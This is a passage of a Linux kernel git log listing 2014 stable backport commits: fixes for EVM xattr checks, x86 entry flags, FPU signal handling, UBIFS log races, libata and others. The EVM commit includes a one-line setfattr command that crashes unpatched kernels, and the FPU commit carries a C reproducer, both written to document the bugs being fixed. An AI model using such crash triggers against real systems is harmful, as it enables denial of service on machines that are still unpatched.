fe8c8a126806fea4465c43d62a1f9d273a572bf5 upstream. [Only use the compiler.h portion of this patch, to get the OPTIMIZER_HIDE_VAR() macro, which we need for other -stable patches - gregkh] Disabling compiler optimizations can be fragile, since a new optimization could be added to -O0 or -Os that breaks the assumptions the code is making. Instead of disabling compiler optimizations, use a dummy inline assembly (based on RELOC_HIDE) to block the problematic kinds of optimization, while still allowing other optimizations to be applied to the code. The dummy inline assembly is added after every OR, and has the accumulator variable as its input and output. The compiler is forced to assume that the dummy inline assembly could both depend on the accumulator variable and change the accumulator variable, so it is forced to compute the value correctly before the inline assembly, and cannot assume anything about its value after the inline assembly. This change should be enough to make crypto_memneq work correctly (with data-independent timing) even if it is inlined at its call sites. That can be done later in a followup patch. Compile-tested on x86_64. Signed-off-by: Cesar Eduardo Barros Acked-by: Daniel Borkmann Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b961590a71767e4bc69d10e9593e7a149727e5ea Author: Al Viro Date: Wed Oct 8 23:44:00 2014 -0400 fix misuses of f_count() in ppp and netlink commit 24dff96a37a2ca319e75a74d3929b2de22447ca6 upstream. we used to check for "nobody else could start doing anything with that opened file" by checking that refcount was 2 or less - one for descriptor table and one we'd acquired in fget() on the way to wherever we are. That was race-prone (somebody else might have had a reference to descriptor table and do fget() just as we'd been checking) and it had become flat-out incorrect back when we switched to fget_light() on those codepaths - unlike fget(), it doesn't grab an extra reference unless the descriptor table is shared. The same change allowed a race-free check, though - we are safe exactly when refcount is less than 2. It was a long time ago; pre-2.6.12 for ioctl() (the codepath leading to ppp one) and 2.6.17 for sendmsg() (netlink one). OTOH, netlink hadn't grown that check until 3.9 and ppp used to live in drivers/net, not drivers/net/ppp until 3.1. The bug existed well before that, though, and the same fix used to apply in old location of file. Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7fc1457bb955eb549eb59830d466505b438e5f5c Author: Al Viro Date: Fri Aug 1 20:13:40 2014 +0100 kill wbuf_queued/wbuf_dwork_lock commit 99358a1ca53e8e6ce09423500191396f0e6584d2 upstream. schedule_delayed_work() happening when the work is already pending is a cheap no-op. Don't bother with ->wbuf_queued logics - it's both broken (cancelling ->wbuf_dwork leaves it set, as spotted by Jeff Harris) and pointless. It's cheaper to let schedule_delayed_work() handle that case. Reported-by: Jeff Harris Tested-by: Jeff Harris Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 00b56229c3cad996f6bef93108675f08f3660a40 Author: Takashi Iwai Date: Tue Oct 28 12:42:19 2014 +0100 ALSA: pcm: Zero-clear reserved fields of PCM status ioctl in compat mode commit 317168d0c766defd14b3d0e9c2c4a9a258b803ee upstream. In compat mode, we copy each field of snd_pcm_status struct but don't touch the reserved fields, and this leaves uninitialized values there. Meanwhile the native ioctl does zero-clear the whole structure, so we should follow the same rule in compat mode, too. Reported-by: Pierre-Louis Bossart Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3333fe367c6db6038318155b169125a31a0dad88 Author: Dmitry Kasatkin Date: Tue Oct 28 14:28:49 2014 +0200 evm: check xattr value length and type in evm_inode_setxattr() commit 3b1deef6b1289a99505858a3b212c5b50adf0c2f upstream. evm_inode_setxattr() can be called with no value. The function does not check the length so that following command can be used to produce the kernel oops: setfattr -n security.evm FOO. This patch fixes it. Changes in v3: * there is no reason to return different error codes for EVM_XATTR_HMAC and non EVM_XATTR_HMAC. Remove unnecessary test then. Changes in v2: * testing for validity of xattr type [ 1106.396921] BUG: unable to handle kernel NULL pointer dereference at (null) [ 1106.398192] IP: [] evm_inode_setxattr+0x2a/0x48 [ 1106.399244] PGD 29048067 PUD 290d7067 PMD 0 [ 1106.399953] Oops: 0000 [#1] SMP [ 1106.400020] Modules linked in: bridge stp llc evdev serio_raw i2c_piix4 button fuse [ 1106.400020] CPU: 0 PID: 3635 Comm: setxattr Not tainted 3.16.0-kds+ #2936 [ 1106.400020] Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 [ 1106.400020] task: ffff8800291a0000 ti: ffff88002917c000 task.ti: ffff88002917c000 [ 1106.400020] RIP: 0010:[] [] evm_inode_setxattr+0x2a/0x48 [ 1106.400020] RSP: 0018:ffff88002917fd50 EFLAGS: 00010246 [ 1106.400020] RAX: 0000000000000000 RBX: ffff88002917fdf8 RCX: 0000000000000000 [ 1106.400020] RDX: 0000000000000000 RSI: ffffffff818136d3 RDI: ffff88002917fdf8 [ 1106.400020] RBP: ffff88002917fd68 R08: 0000000000000000 R09: 00000000003ec1df [ 1106.400020] R10: 0000000000000000 R11: 0000000000000000 R12: ffff8800438a0a00 [ 1106.400020] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000 [ 1106.400020] FS: 00007f7dfa7d7740(0000) GS:ffff88005da00000(0000) knlGS:0000000000000000 [ 1106.400020] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 1106.400020] CR2: 0000000000000000 CR3: 000000003763e000 CR4: 00000000000006f0 [ 1106.400020] Stack: [ 1106.400020] ffff8800438a0a00 ffff88002917fdf8 0000000000000000 ffff88002917fd98 [ 1106.400020] ffffffff812a1030 ffff8800438a0a00 ffff88002917fdf8 0000000000000000 [ 1106.400020] 0000000000000000 ffff88002917fde0 ffffffff8116d08a ffff88002917fdc8 [ 1106.400020] Call Trace: [ 1106.400020] [] security_inode_setxattr+0x5d/0x6a [ 1106.400020] [] vfs_setxattr+0x6b/0x9f [ 1106.400020] [] setxattr+0x122/0x16c [ 1106.400020] [] ? mnt_want_write+0x21/0x45 [ 1106.400020] [] ? __sb_start_write+0x10f/0x143 [ 1106.400020] [] ? mnt_want_write+0x21/0x45 [ 1106.400020] [] ? __mnt_want_write+0x48/0x4f [ 1106.400020] [] SyS_setxattr+0x6e/0xb0 [ 1106.400020] [] system_call_fastpath+0x16/0x1b [ 1106.400020] Code: c3 0f 1f 44 00 00 55 48 89 e5 41 55 49 89 d5 41 54 49 89 fc 53 48 89 f3 48 c7 c6 d3 36 81 81 48 89 df e8 18 22 04 00 85 c0 75 07 <41> 80 7d 00 02 74 0d 48 89 de 4c 89 e7 e8 5a fe ff ff eb 03 83 [ 1106.400020] RIP [] evm_inode_setxattr+0x2a/0x48 [ 1106.400020] RSP [ 1106.400020] CR2: 0000000000000000 [ 1106.428061] ---[ end trace ae08331628ba3050 ]--- Reported-by: Jan Kara Signed-off-by: Dmitry Kasatkin Signed-off-by: Mimi Zohar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6b2ad17e1f59f96e162dc9f1e6aa6108e48d6dd7 Author: Dexuan Cui Date: Wed Oct 29 03:53:37 2014 -0700 x86, pageattr: Prevent overflow in slow_virt_to_phys() for X86_PAE commit d1cd1210834649ce1ca6bafe5ac25d2f40331343 upstream. pte_pfn() returns a PFN of long (32 bits in 32-PAE), so "long << PAGE_SHIFT" will overflow for PFNs above 4GB. Due to this issue, some Linux 32-PAE distros, running as guests on Hyper-V, with 5GB memory assigned, can't load the netvsc driver successfully and hence the synthetic network device can't work (we can use the kernel parameter mem=3000M to work around the issue). Cast pte_pfn() to phys_addr_t before shifting. Fixes: "commit d76565344512: x86, mm: Create slow_virt_to_phys()" Signed-off-by: Dexuan Cui Cc: K. Y. Srinivasan Cc: Haiyang Zhang Cc: gregkh@linuxfoundation.org Cc: linux-mm@kvack.org Cc: olaf@aepfle.de Cc: apw@canonical.com Cc: jasowang@redhat.com Cc: dave.hansen@intel.com Cc: riel@redhat.com Cc: stable@vger.kernel.org Link: http://lkml.kernel.org/r/1414580017-27444-1-git-send-email-decui@microsoft.com Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9a26a6e711dd478654be7c5dbf61456b83bc7544 Author: Andy Lutomirski Date: Fri Oct 31 18:08:45 2014 -0700 x86_64, entry: Fix out of bounds read on sysenter commit 653bc77af60911ead1f423e588f54fc2547c4957 upstream. Rusty noticed a Really Bad Bug (tm) in my NT fix. The entry code reads out of bounds, causing the NT fix to be unreliable. But, and this is much, much worse, if your stack is somehow just below the top of the direct map (or a hole), you read out of bounds and crash. Excerpt from the crash: [ 1.129513] RSP: 0018:ffff88001da4bf88 EFLAGS: 00010296 2b:* f7 84 24 90 00 00 00 testl $0x4000,0x90(%rsp) That read is deterministically above the top of the stack. I thought I even single-stepped through this code when I wrote it to check the offset, but I clearly screwed it up. Fixes: 8c7aa698baca ("x86_64, entry: Filter RFLAGS.NT on entry from userspace") Reported-by: Rusty Russell Signed-off-by: Andy Lutomirski Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 07bed5e0771f460dc897318ded75458230d8c3d9 Author: Andy Lutomirski Date: Wed Oct 1 11:49:04 2014 -0700 x86_64, entry: Filter RFLAGS.NT on entry from userspace commit 8c7aa698baca5e8f1ba9edb68081f1e7a1abf455 upstream. The NT flag doesn't do anything in long mode other than causing IRET to #GP. Oddly, CPL3 code can still set NT using popf. Entry via hardware or software interrupt clears NT automatically, so the only relevant entries are fast syscalls. If user code causes kernel code to run with NT set, then there's at least some (small) chance that it could cause trouble. For example, user code could cause a call to EFI code with NT set, and who knows what would happen? Apparently some games on Wine sometimes do this (!), and, if an IRET return happens, they will segfault. That segfault cannot be handled, because signal delivery fails, too. This patch programs the CPU to clear NT on entry via SYSCALL (both 32-bit and 64-bit, by my reading of the AMD APM), and it clears NT in software on entry via SYSENTER. To save a few cycles, this borrows a trick from Jan Beulich in Xen: it checks whether NT is set before trying to clear it. As a result, it seems to have very little effect on SYSENTER performance on my machine. There's another minor bug fix in here: it looks like the CFI annotations were wrong if CONFIG_AUDITSYSCALL=n. Testers beware: on Xen, SYSENTER with NT set turns into a GPF. I haven't touched anything on 32-bit kernels. The syscall mask change comes from a variant of this patch by Anish Bhatt. Note to stable maintainers: there is no known security issue here. A misguided program can set NT and cause the kernel to try and fail to deliver SIGSEGV, crashing the program. This patch fixes Far Cry on Wine: https://bugs.winehq.org/show_bug.cgi?id=33275 Reported-by: Anish Bhatt Signed-off-by: Andy Lutomirski Link: http://lkml.kernel.org/r/395749a5d39a29bd3e4b35899cf3a3c1340e5595.1412189265.git.luto@amacapital.net Signed-off-by: H. Peter Anvin Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b36d09fc885849157edbf65c790d642f79f760ce Author: H. Peter Anvin Date: Sat Apr 27 16:10:11 2013 -0700 x86, flags: Rename X86_EFLAGS_BIT1 to X86_EFLAGS_FIXED commit 1adfa76a95fe4444124a502f7cc858a39d5b8e01 upstream. Bit 1 in the x86 EFLAGS is always set. Name the macro something that actually tries to explain what it is all about, rather than being a tautology. Signed-off-by: H. Peter Anvin Cc: Rusty Russell Cc: Gleb Natapov Cc: Paolo Bonzini Link: http://lkml.kernel.org/n/tip-f10rx5vjjm6tfnt8o1wseb3v@git.kernel.org Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fda86dcf5696b14d0c184a7273bb26f42633dd47 Author: Oleg Nesterov Date: Tue Sep 2 19:57:13 2014 +0200 x86, fpu: shift drop_init_fpu() from save_xstate_sig() to handle_signal() commit 66463db4fc5605d51c7bb81d009d5bf30a783a2c upstream. save_xstate_sig()->drop_init_fpu() doesn't look right. setup_rt_frame() can fail after that, in this case the next setup_rt_frame() triggered by SIGSEGV won't save fpu simply because the old state was lost. This obviously mean that fpu won't be restored after sys_rt_sigreturn() from SIGSEGV handler. Shift drop_init_fpu() into !failed branch in handle_signal(). Test-case (needs -O2): #include #include #include #include #include #include #include volatile double D; void test(double d) { int pid = getpid(); for (D = d; D == d; ) { /* sys_tkill(pid, SIGHUP); asm to avoid save/reload * fp regs around "C" call */ asm ("" : : "a"(200), "D"(pid), "S"(1)); asm ("syscall" : : : "ax"); } printf("ERR!!\n"); } void sigh(int sig) { } char altstack[4096 * 10] __attribute__((aligned(4096))); void *tfunc(void *arg) { for (;;) { mprotect(altstack, sizeof(altstack), PROT_READ); mprotect(altstack, sizeof(altstack), PROT_READ|PROT_WRITE); } } int main(void) { stack_t st = { .ss_sp = altstack, .ss_size = sizeof(altstack), .ss_flags = SS_ONSTACK, }; struct sigaction sa = { .sa_handler = sigh, }; pthread_t pt; sigaction(SIGSEGV, &sa, NULL); sigaltstack(&st, NULL); sa.sa_flags = SA_ONSTACK; sigaction(SIGHUP, &sa, NULL); pthread_create(&pt, NULL, tfunc, NULL); test(123.456); return 0; } Reported-by: Bean Anderson Signed-off-by: Oleg Nesterov Link: http://lkml.kernel.org/r/20140902175713.GA21646@redhat.com Signed-off-by: H. Peter Anvin Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d0812a7de4366457e9e9b2d128a5236165ddba4c Author: Oleg Nesterov Date: Tue Sep 2 19:57:17 2014 +0200 x86, fpu: __restore_xstate_sig()->math_state_restore() needs preempt_disable() commit df24fb859a4e200d9324e2974229fbb7adf00aef upstream. Add preempt_disable() + preempt_enable() around math_state_restore() in __restore_xstate_sig(). Otherwise __switch_to() after __thread_fpu_begin() can overwrite fpu->state we are going to restore. Signed-off-by: Oleg Nesterov Link: http://lkml.kernel.org/r/20140902175717.GA21649@redhat.com Reviewed-by: Suresh Siddha Signed-off-by: H. Peter Anvin Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit edd589df61df38ff32b2d597e94821fc216c3c35 Author: Ben Hutchings Date: Sun Sep 7 21:05:05 2014 +0100 x86: Reject x32 executables if x32 ABI not supported commit 0e6d3112a4e95d55cf6dca88f298d5f4b8f29bd1 upstream. It is currently possible to execve() an x32 executable on an x86_64 kernel that has only ia32 compat enabled. However all its syscalls will fail, even _exit(). This usually causes it to segfault. Change the ELF compat architecture check so that x32 executables are rejected if we don't support the x32 ABI. Signed-off-by: Ben Hutchings Link: http://lkml.kernel.org/r/1410120305.6822.9.camel@decadent.org.uk Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 61b4d5238f82eca43feb87120f859bf0ea6cd00c Author: Jan Kara Date: Wed Oct 1 21:49:18 2014 -0400 vfs: fix data corruption when blocksize < pagesize for mmaped data commit 90a8020278c1598fafd071736a0846b38510309c upstream. ->page_mkwrite() is used by filesystems to allocate blocks under a page which is becoming writeably mmapped in some process' address space. This allows a filesystem to return a page fault if there is not enough space available, user exceeds quota or similar problem happens, rather than silently discarding data later when writepage is called. However VFS fails to call ->page_mkwrite() in all the cases where filesystems need it when blocksize < pagesize. For example when blocksize = 1024, pagesize = 4096 the following is problematic: ftruncate(fd, 0); pwrite(fd, buf, 1024, 0); map = mmap(NULL, 1024, PROT_WRITE, MAP_SHARED, fd, 0); map[0] = 'a'; ----> page_mkwrite() for index 0 is called ftruncate(fd, 10000); /* or even pwrite(fd, buf, 1, 10000) */ mremap(map, 1024, 10000, 0); map[4095] = 'a'; ----> no page_mkwrite() called At the moment ->page_mkwrite() is called, filesystem can allocate only one block for the page because i_size == 1024. Otherwise it would create blocks beyond i_size which is generally undesirable. But later at ->writepage() time, we also need to store data at offset 4095 but we don't have block allocated for it. This patch introduces a helper function filesystems can use to have ->page_mkwrite() called at all the necessary moments. Signed-off-by: Jan Kara Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5c1e955523c1509a1e586516e18e6882b9ad3ea6 Author: Artem Bityutskiy Date: Wed Jul 16 15:22:29 2014 +0300 UBIFS: fix free log space calculation commit ba29e721eb2df6df8f33c1f248388bb037a47914 upstream. Hu (hujianyang ) discovered an issue in the 'empty_log_bytes()' function, which calculates how many bytes are left in the log: " If 'c->lhead_lnum + 1 == c->ltail_lnum' and 'c->lhead_offs == c->leb_size', 'h' would equalent to 't' and 'empty_log_bytes()' would return 'c->log_bytes' instead of 0. " At this point it is not clear what would be the consequences of this, and whether this may lead to any problems, but this patch addresses the issue just in case. Tested-by: hujianyang Reported-by: hujianyang Signed-off-by: Artem Bityutskiy Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fdde6fbdcc31f1d979697259f90001b93f6bcc63 Author: Artem Bityutskiy Date: Sun Jun 29 17:00:45 2014 +0300 UBIFS: fix a race condition commit 052c28073ff26f771d44ef33952a41d18dadd255 upstream. Hu (hujianyang@huawei.com) discovered a race condition which may lead to a situation when UBIFS is unable to mount the file-system after an unclean reboot. The problem is theoretical, though. In UBIFS, we have the log, which basically a set of LEBs in a certain area. The log has the tail and the head. Every time user writes data to the file-system, the UBIFS journal grows, and the log grows as well, because we append new reference nodes to the head of the log. So the head moves forward all the time, while the log tail stays at the same position. At any time, the UBIFS master node points to the tail of the log. When we mount the file-system, we scan the log, and we always start from its tail, because this is where the master node points to. The only occasion when the tail of the log changes is the commit operation. The commit operation has 2 phases - "commit start" and "commit end". The former is relatively short, and does not involve much I/O. During this phase we mostly just build various in-memory lists of the things which have to be written to the flash media during "commit end" phase. During the commit start phase, what we do is we "clean" the log. Indeed, the commit operation will index all the data in the journal, so the entire journal "disappears", and therefore the data in the log become unneeded. So we just move the head of the log to the next LEB, and write the CS node there. This LEB will be the tail of the new log when the commit operation finishes. When the "commit start" phase finishes, users may write more data to the file-system, in parallel with the ongoing "commit end" operation. At this point the log tail was not changed yet, it is the same as it had been before we started the commit. The log head keeps moving forward, though. The commit operation now needs to write the new master node, and the new master node should point to the new log tail. After this the LEBs between the old log tail and the new log tail can be unmapped and re-used again. And here is the possible problem. We do 2 operations: (a) We first update the log tail position in memory (see 'ubifs_log_end_commit()'). (b) And then we write the master node (see the big lock of code in 'do_commit()'). But nothing prevents the log head from moving forward between (a) and (b), and the log head may "wrap" now to the old log tail. And when the "wrap" happens, the contends of the log tail gets erased. Now a power cut happens and we are in trouble. We end up with the old master node pointing to the old tail, which was erased. And replay fails because it expects the master node to point to the correct log tail at all times. This patch merges the abovementioned (a) and (b) operations by moving the master node change code to the 'ubifs_log_end_commit()' function, so that it runs with the log mutex locked, which will prevent the log from being changed benween operations (a) and (b). Reported-by: hujianyang Tested-by: hujianyang Signed-off-by: Artem Bityutskiy Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 89c1d572f87cf786ed534098ca34c5365664929a Author: Artem Bityutskiy Date: Sun Jun 29 16:55:02 2014 +0300 UBIFS: remove mst_mutex commit 07e19dff63e3d5d6500d831e36554ac9b1b0560e upstream. The 'mst_mutex' is not needed since because 'ubifs_write_master()' is only called on the mount path and commit path. The mount path is sequential and there is no parallelism, and the commit path is also serialized - there is only one commit going on at a time. Signed-off-by: Artem Bityutskiy Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e3075d8275ad4faef53966a532cc69591a01f9ec Author: Tetsuo Handa Date: Sat May 17 20:56:38 2014 +0900 fs: Fix theoretical division by 0 in super_cache_scan(). commit 475d0db742e3755c6b267f48577ff7cbb7dfda0d upstream. total_objects could be 0 and is used as a denom. While total_objects is a "long", total_objects == 0 unlikely happens for 3.12 and later kernels because 32-bit architectures would not be able to hold (1 << 32) objects. However, total_objects == 0 may happen for kernels between 3.1 and 3.11 because total_objects in prune_super() was an "int" and (e.g.) x86_64 architecture might be able to hold (1 << 32) objects. Signed-off-by: Tetsuo Handa Reviewed-by: Christoph Hellwig Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 269cc32a2ecfa59f6574c22cfb4f7135a4ca4c60 Author: Mikulas Patocka Date: Sun Jul 27 13:00:41 2014 -0400 fs: make cont_expand_zero interruptible commit c2ca0fcd202863b14bd041a7fece2e789926c225 upstream. This patch makes it possible to kill a process looping in cont_expand_zero. A process may spend a lot of time in this function, so it is desirable to be able to kill it. It happened to me that I wanted to copy a piece data from the disk to a file. By mistake, I used the "seek" parameter to dd instead of "skip". Due to the "seek" parameter, dd attempted to extend the file and became stuck doing so - the only possibility was to reset the machine or wait many hours until the filesystem runs out of space and cont_expand_zero fails. We need this patch to be able to terminate the process. Signed-off-by: Mikulas Patocka Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit db98850b75a52f1e6bd6802619ab166c22b17a3c Author: Roger Tseng Date: Fri Aug 15 14:06:00 2014 +0800 mmc: rtsx_pci_sdmmc: fix incorrect last byte in R2 response commit d1419d50c1bf711e9fd27b516a739c86b23f7cf9 upstream. Current code erroneously fill the last byte of R2 response with an undefined value. In addition, the controller actually 'offloads' the last byte (CRC7, end bit) while receiving R2 response and thus it's impossible to get the actual value. This could cause mmc stack to obtain inconsistent CID from the same card after resume and misidentify it as a different card. Fix by assigning dummy CRC and end bit: {7'b0, 1} = 0x1 to the last byte of R2. Fixes: ff984e57d36e ("mmc: Add realtek pcie sdmmc host driver") Signed-off-by: Roger Tseng Signed-off-by: Ulf Hansson Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 32a749d89921ef14cb04bfb1009959e2d6efc987 Author: Ondrej Zary Date: Sat Sep 27 00:04:46 2014 +0200 libata-sff: Fix controllers with no ctl port commit 6d8ca28fa688a9354bc9fbc935bdaeb3651b6677 upstream. Currently, ata_sff_softreset is skipped for controllers with no ctl port. But that also skips ata_sff_dev_classify required for device detection. This means that libata is currently broken on controllers with no ctl port. No device connected: [ 1.872480] pata_isapnp 01:01.02: activated [ 1.889823] scsi2 : pata_isapnp [ 1.890109] ata3: PATA max PIO0 cmd 0x1e8 ctl 0x0 irq 11 [ 6.888110] ata3.01: qc timeout (cmd 0xec) [ 6.888179] ata3.01: failed to IDENTIFY (I/O error, err_mask=0x5) [ 16.888085] ata3.01: qc timeout (cmd 0xec) [ 16.888147] ata3.01: failed to IDENTIFY (I/O error, err_mask=0x5) [ 46.888086] ata3.01: qc timeout (cmd 0xec) [ 46.888148] ata3.01: failed to IDENTIFY (I/O error, err_mask=0x5) [ 51.888100] ata3.00: qc timeout (cmd 0xec) [ 51.888160] ata3.00: failed to IDENTIFY (I/O error, err_mask=0x5) [ 61.888079] ata3.00: qc timeout (cmd 0xec) [ 61.888141] ata3.00: failed to IDENTIFY (I/O error, err_mask=0x5) [ 91.888089] ata3.00: qc timeout (cmd 0xec) [ 91.888152] ata3.00: failed to IDENTIFY (I/O error, err_mask=0x5) ATAPI device connected: [ 1.882061] pata_isapnp 01:01.02: activated [ 1.893430] scsi2 : pata_isapnp [ 1.893719] ata3: PATA max PIO0 cmd 0x1e8 ctl 0x0 irq 11 [ 6.892107] ata3.01: qc timeout (cmd 0xec) [ 6.892171] ata3.01: failed to IDENTIFY (I/O error, err_mask=0x5) [ 16.892079] ata3.01: qc timeout (cmd 0xec) [ 16.892138] ata3.01: failed to IDENTIFY (I/O error, err_mask=0x5) [ 46.892079] ata3.01: qc timeout (cmd 0xec) [ 46.892138] ata3.01: failed to IDENTIFY (I/O error, err_mask=0x5) [ 46.908586] ata3.00: ATAPI: ACER CD-767E/O, V1.5X, max PIO2, CDB intr [ 46.924570] ata3.00: configured for PIO0 (device error ignored) [ 46.926295] scsi 2:0:0:0: CD-ROM ACER CD-767E/O 1.5X PQ: 0 ANSI: 5 [ 46.984519] sr0: scsi3-mmc drive: 6x/6x xa/form2 tray [ 46.984592] cdrom: Uniform CD-ROM driver Revision: 3.20 So don't skip ata_sff_softreset, just skip the reset part of ata_bus_softreset if the ctl port is not available. This makes IDE port on ES968 behave correctly: No device connected: [ 4.670888] pata_isapnp 01:01.02: activated [ 4.673207] scsi host2: pata_isapnp [ 4.673675] ata3: PATA max PIO0 cmd 0x1e8 ctl 0x0 irq 11 [ 7.081840] Adding 2541652k swap on /dev/sda2. Priority:-1 extents:1 across:2541652k ATAPI device connected: [ 4.704362] pata_isapnp 01:01.02: activated [ 4.706620] scsi host2: pata_isapnp [ 4.706877] ata3: PATA max PIO0 cmd 0x1e8 ctl 0x0 irq 11 [ 4.872782] ata3.00: ATAPI: ACER CD-767E/O, V1.5X, max PIO2, CDB intr [ 4.888673] ata3.00: configured for PIO0 (device error ignored) [ 4.893984] scsi 2:0:0:0: CD-ROM ACER CD-767E/O 1.5X PQ: 0 ANSI: 5 [ 7.015578] Adding 2541652k swap on /dev/sda2. Priority:-1 extents:1 across:2541652k Signed-off-by: Ondrej Zary Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1f13014d0cceebce31aaba0863112fb273b9d204 Author: Scott Carter Date: Wed Sep 24 18:13:09 2014 -0700 pata_serverworks: disable 64-KB DMA transfers on Broadcom OSB4 IDE Controller commit 37017ac6849e772e67dd187ba2fbd056c4afa533 upstream. The Broadcom OSB4 IDE Controller (vendor and device IDs: 1166:0211) does not support 64-KB DMA transfers. Whenever a 64-KB DMA transfer is attempted, the transfer fails and messages similar to the following are written to the console log: [ 2431.851125] sr 0:0:0:0: [sr0] Unhandled sense code [ 2431.851139] sr 0:0:0:0: [sr0] Result: hostbyte=DID_OK driverbyte=DRIVER_SENSE [ 2431.851152] sr 0:0:0:0: [sr0] Sense Key : Hardware Error [current] [ 2431.851166] sr 0:0:0:0: [sr0] Add. Sense: Logical unit communication time-out [ 2431.851182] sr 0:0:0:0: [sr0] CDB: Read(10): 28 00 00 00 76 f4 00 00 40 00 [ 2431.851210] end_request: I/O error, dev sr0, sector 121808 When the libata and pata_serverworks modules are recompiled with ATA_DEBUG and ATA_VERBOSE_DEBUG defined in libata.h, the 64-KB transfer size in the scatter-gather list can be seen in the console log: [ 2664.897267] sr 9:0:0:0: [sr0] Send: [ 2664.897274] 0xf63d85e0 [ 2664.897283] sr 9:0:0:0: [sr0] CDB: [ 2664.897288] Read(10): 28 00 00 00 7f b4 00 00 40 00 [ 2664.897319] buffer = 0xf6d6fbc0, bufflen = 131072, queuecommand 0xf81b7700 [ 2664.897331] ata_scsi_dump_cdb: CDB (1:0,0,0) 28 00 00 00 7f b4 00 00 40 [ 2664.897338] ata_scsi_translate: ENTER [ 2664.897345] ata_sg_setup: ENTER, ata1 [ 2664.897356] ata_sg_setup: 3 sg elements mapped [ 2664.897364] ata_bmdma_fill_sg: PRD[0] = (0x66FD2000, 0xE000) [ 2664.897371] ata_bmdma_fill_sg: PRD[1] = (0x65000000, 0x10000) ------------------------------------------------------> ======= [ 2664.897378] ata_bmdma_fill_sg: PRD[2] = (0x66A10000, 0x2000) [ 2664.897386] ata1: ata_dev_select: ENTER, device 0, wait 1 [ 2664.897422] ata_sff_tf_load: feat 0x1 nsect 0x0 lba 0x0 0x0 0xFC [ 2664.897428] ata_sff_tf_load: device 0xA0 [ 2664.897448] ata_sff_exec_command: ata1: cmd 0xA0 [ 2664.897457] ata_scsi_translate: EXIT [ 2664.897462] leaving scsi_dispatch_cmnd() [ 2664.897497] Doing sr request, dev = sr0, block = 0 [ 2664.897507] sr0 : reading 64/256 512 byte blocks. [ 2664.897553] ata_sff_hsm_move: ata1: protocol 7 task_state 1 (dev_stat 0x58) [ 2664.897560] atapi_send_cdb: send cdb [ 2666.910058] ata_bmdma_port_intr: ata1: host_stat 0x64 [ 2666.910079] __ata_sff_port_intr: ata1: protocol 7 task_state 3 [ 2666.910093] ata_sff_hsm_move: ata1: protocol 7 task_state 3 (dev_stat 0x51) [ 2666.910101] ata_sff_hsm_move: ata1: protocol 7 task_state 4 (dev_stat 0x51) [ 2666.910129] sr 9:0:0:0: [sr0] Done: [ 2666.910136] 0xf63d85e0 TIMEOUT lspci shows that the driver used for the Broadcom OSB4 IDE Controller is pata_serverworks: 00:0f.1 IDE interface: Broadcom OSB4 IDE Controller (prog-if 8e [Master SecP SecO PriP]) Flags: bus master, medium devsel, latency 64 [virtual] Memory at 000001f0 (32-bit, non-prefetchable) [size=8] [virtual] Memory at 000003f0 (type 3, non-prefetchable) [size=1] I/O ports at 0170 [size=8] I/O ports at 0374 [size=4] I/O ports at 1440 [size=16] Kernel driver in use: pata_serverworks The pata_serverworks driver supports five distinct device IDs, one being the OSB4 and the other four belonging to the CSB series. The CSB series appears to support 64-KB DMA transfers, as tests on a machine with an SAI2 motherboard containing a Broadcom CSB5 IDE Controller (vendor and device IDs: 1166:0212) showed no problems with 64-KB DMA transfers. This problem was first discovered when attempting to install openSUSE from a DVD on a machine with an STL2 motherboard. Using the pata_serverworks module, older releases of openSUSE will not install at all due to the timeouts. Releases of openSUSE prior to 11.3 can be installed by disabling the pata_serverworks module using the brokenmodules boot parameter, which causes the serverworks module to be used instead. Recent releases of openSUSE (12.2 and later) include better error recovery and will install, though very slowly. On all openSUSE releases, the problem can be recreated on a machine containing a Broadcom OSB4 IDE Controller by mounting an install DVD and running a command similar to the following: find /mnt -type f -print | xargs cat > /dev/null The patch below corrects the problem. Similar to the other ATA drivers that do not support 64-KB DMA transfers, the patch changes the ata_port_operations qc_prep vector to point to a routine that breaks any 64-KB segment into two 32-KB segments and changes the scsi_host_template sg_tablesize element to reduce by half the number of scatter/gather elements allowed. These two changes affect only the OSB4. Signed-off-by: Scott Carter Signed-off-by: Tejun Heo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ba10ea92a22a0aef0dce0a41539c5a81729c1d17 Author: Guenter Roeck Date: Sun Sep 21 15:04:53 2014 -0700 Revert "percpu: free percpu allocation info for uniprocessor system" commit bb2e226b3bef596dd56be97df655d857b4603923 upstream. This reverts commit 3189eddbcafc ("percpu: free percpu allocation info for uniprocessor system"). The commit causes a hang with a crisv32 image. This may be an architecture problem, but at least for now the revert is necessary to be able to boot a crisv32 image. Cc: Tejun Heo Cc: Honggang Li Signed-off-by: Guenter Roeck Signed-off-by: Tejun Heo Fixes: 3189eddbcafc ("percpu: free 